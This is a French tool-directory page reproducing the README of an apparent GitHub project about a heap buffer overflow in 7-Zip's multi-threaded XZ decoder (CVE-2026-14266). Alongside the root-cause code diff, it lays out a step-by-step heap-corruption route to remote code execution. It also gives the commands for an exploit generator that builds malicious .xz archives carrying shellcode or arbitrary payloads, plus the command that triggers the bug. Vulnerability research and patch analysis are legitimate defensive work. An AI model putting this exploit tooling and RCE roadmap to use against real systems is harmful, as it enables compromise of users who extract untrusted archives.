Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-14266 — Débordement de tampon dans le tas du décodeur XZ de 7-Zip - Analyse complète, cause racine, PoC et feuille de route d'exploitation RCE | Kitploit
Outils/GitHubGitHub/liyuxuan504-byte/cve-2026-14266
Criminalistique MémoireAnalyse des VulnérabilitésAnalyse de CodeExploitationRétro-ingénierieShellcodeDébogueursAnalyse de BinairesDéveloppement de Charges UtilesExploitation de Binaires
GitHubliyuxuan504-byte/cve-2026-14266
118il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-14266

Débordement de tampon dans le tas du décodeur XZ de 7-Zip - Analyse complète, cause racine, PoC et feuille de route d'exploitation RCE

Voir le dépôt

CVE-2026-14266 — Dépassement de tampon sur le tas dans le décodeur XZ de 7-Zip

Sévérité critique | CVSS : 8.8 (Élevé) | CWE-122 : Dépassement de tampon basé sur le tas
Versions affectées : 7-Zip ≤ 26.01 | Correctif : 7-Zip 26.02 (2026-06-25)
Découvert et analysé par : Li Yuxuan (liyuxuan504-byte) et son équipe


Résumé exécutif

Un dépassement de tampon sur le tas existe dans le chemin du décodeur XZ multi-thread des versions de 7-Zip ≤ 26.01. Une archive .xz conçue de manière malveillante peut déclencher une écriture hors limites au-delà du tampon de sortie alloué sur le tas, entraînant :

  • Déni de service (confirmé) — crash fiable avec STATUS_ACCESS_VIOLATION (0xC0000005)
  • Exécution de code à distance (potentielle) — le dépassement de tas contrôlé permet la corruption de pointeurs de fonction / de tables virtuelles dans les bonnes conditions de disposition du tas

La vulnérabilité se situe dans MixCoder_Code() dans C/XzDec.c, où la branche SingleBuf (outBuf) transmet un destLen2 non vérifié au décodeur LZMA2 sans le limiter (clamp) par rapport à la capacité restante du tampon (outBufSize - outWritten).

Tout système ou application qui utilise une version vulnérable de 7-Zip (ou 7z.dll) pour extraire des fichiers .xz non fiables est exposé au risque — le chemin multi-thread est activé par défaut sur les systèmes multi-cœurs.


Analyse approfondie de la vulnérabilité

Chemin de code affecté

XZ Stream → XzUnpacker_Code (XZ_STATE_BLOCK)
  → MixCoder_Code(outBuf branch, p->outBuf != NULL)
    → destLen2 = destLenOrig          // ← NO boundary clamp
    → Lzma2State_Code2(..., &destLen2)
      → dicLimit = dicPos + destLen2  // ← can exceed dicBufSize
        → Lzma2Dec_DecodeToDic(...)
          → LZMA2 copy-chunk loop: memcpy(dic + dicPos, src, size)
            → dicPos exceeds dicBufSize → HEAP OVERFLOW

Cause racine (26.01 vs 26.02)

Version vulnérable (26.01) — C/XzDec.c ~L606 :

if (p->outBuf) {
    SizeT destLen2, srcLen2;
    srcLen2 = srcLenOrig;
    destLen2 = destLenOrig;              // ← raw value, no clamping!
    {
        IStateCoder *coder = &p->coders[0];
        res = coder->Code2(coder->p, NULL, &destLen2, src, &srcLen2,
                           srcWasFinished, finishMode, &p->status);
    }
    p->outWritten += destLen2;           // ← tracks total but never checks
}

Version corrigée (26.02) — C/XzDec.c ~L605 :

if (p->outBuf) {
    SizeT destLen2;
    destLen2 = destLenOrig;
    if (p->numCoders != 1) {             // ★ NEW boundary check
        if (destLen2 < p->outWritten)
            return SZ_ERROR_FAIL;        // data inconsistency → abort
        destLen2 -= p->outWritten;       // clamp to remaining capacity!
    }
    *srcLen = srcLenOrig;
    {
        IStateCoder *coder = &p->coders[0];
        res = coder->Code2(coder->p, NULL, &destLen2, src, srcLen,
                           srcWasFinished, finishMode, &p->status);
    }
    p->outWritten += destLen2;
}

Le correctif tient en 3 lignes. Il soustrait p->outWritten (les octets déjà écrits dans ce outBuf) de destLen2 avant de le transmettre au décodeur LZMA2, garantissant que le décodeur ne peut jamais écrire au-delà du tampon alloué.

Pourquoi uniquement en multi-thread ?

Dans le chemin mono-thread, XzUnpacker_Code applique son propre clamp rem basé sur unpackSize avant d'appeler MixCoder_Code. Ce clamp borne correctement la sortie. Le chemin SingleBuf multi-thread contourne ce clamp car il transmet destLenOrig directement — le clamp en amont est inefficace lorsque destLen est pré-défini à la taille totale restante de l'entrée plutôt qu'à la capacité réellement restante du tampon.


Analyse d'exploitation

Comportement d'allocation du tas

Le outBuf est alloué sur le tas CRT via ISzAlloc_Alloc(allocMid, unpackSize) :

unpackSizeAllocateurExploitabilité
≤ 16 KBLFH (tas à faible fragmentation)★ Idéal pour RCE — objets adjacents dans le même bucket
16–64 KBSegment Heap (backend)Possible — corruption de la free-list
≥ 64 KBVirtualAlloc (aligné sur la page)DoS uniquement — la page de garde piège le dépassement

Stratégie RCE (voie LFH)

L'approche d'exploitation la plus prometteuse :

  1. Utiliser un petit unpackSize (256–16384 octets) pour déclencher l'allocation LFH
  2. Déborder au-delà de outBuf dans les sous-segments LFH adjacents
  3. Corrompre le pointeur next de la free-list LFH → obtient une primitive d'allocation arbitraire
  4. Allouer sur une cible (pointeur de fonction, table virtuelle, adresse de retour)
  5. Déclencher le pointeur corrompu → exécution de code

État actuel

CapacitéÉtat
DoS (crash)✅ Confirmé, fiable sur 7-Zip 26.00 x64
Dépassement de tas silencieux (LFH)✅ Confirmé — écrit au-delà du tampon, code de sortie 2, sans crash
Livraison contrôlée de la charge utile✅ Entièrement contrôlable via les données LZMA2 copy-chunk
Primitives de disposition du tas✅ Concept prouvé — nécessite un ajustement de la disposition propre à la cible
Chaîne RCE complète❌ En cours — nécessite une analyse de la disposition du tas sur la cible

Pourquoi le débogage est délicat

Les débogueurs classiques (x64dbg, WinDbg) modifient le comportement de création du processus. Sous un débogueur, 7z.dll peut ne jamais charger le chemin XZ multi-thread — le processus retombe silencieusement en mode mono-thread, où la vulnérabilité ne se déclenche pas. L'approche retenue :

  • Lancer 7z.exe en dehors du débogueur
  • S'y attacher dans les 1 à 2 secondes (avant le crash)
  • Ou utiliser un mini-débogueur personnalisé (fourni dans tools/)

Générateur de PoC

poc/poc-cve-2026-14266-rce.py est un générateur d'exploit XZ complet :

Démarrage rapide

# Crash confirmation (DoS):
python poc/poc-cve-2026-14266-rce.py -o crash.xz

# Offset discovery (cyclic pattern):
python poc/poc-cve-2026-14266-rce.py \
    --unpack-size 4096 --overflow 16384 --chunk-size 97 \
    --payload-cyclic -o find-offset.xz

# Shellcode payload:
python poc/poc-cve-2026-14266-rce.py \
    --unpack-size 4096 --overflow 16384 --chunk-size 97 \
    --payload-shellcode -o exploit.xz

# Custom binary payload:
python poc/poc-cve-2026-14266-rce.py \
    --payload-file shellcode.bin --unpack-size 512 --overflow 8192 -o custom.xz

Paramètres clés

ParamètreDescriptionRecommandation
--unpack-sizeunpackSize déclaré du bloc (= taille d'allocation du outBuf)256–4096 pour RCE via LFH
--overflowNombre total d'octets à écrire au-delà de outBuf4096–32768
--chunk-sizeTaille des données LZMA2 copy-chunk (1–65535)Ne doit PAS diviser unpackSize de manière égale ! Utiliser un nombre premier (97) ou --force-align-overflow
--payload-cyclicMotif cyclique pour la découverte de l'offsetÀ utiliser d'abord, puis remplacer par la vraie charge utile
--payload-shellcodeIntégrer le shellcode Win x64 WinExec("calc.exe")~276 octets

Déclenchement

# Multi-threaded (vulnerable path):
7z.exe x poc.xz -so -mmt=2 > NUL

# Single-threaded (NOT vulnerable — for comparison):
7z.exe x poc.xz -so -mmt=1 > NUL

Résultats des tests

Testé sur : Windows 11 Pro x64 (build 26200) + 7-Zip 26.00

Télécharger l’outil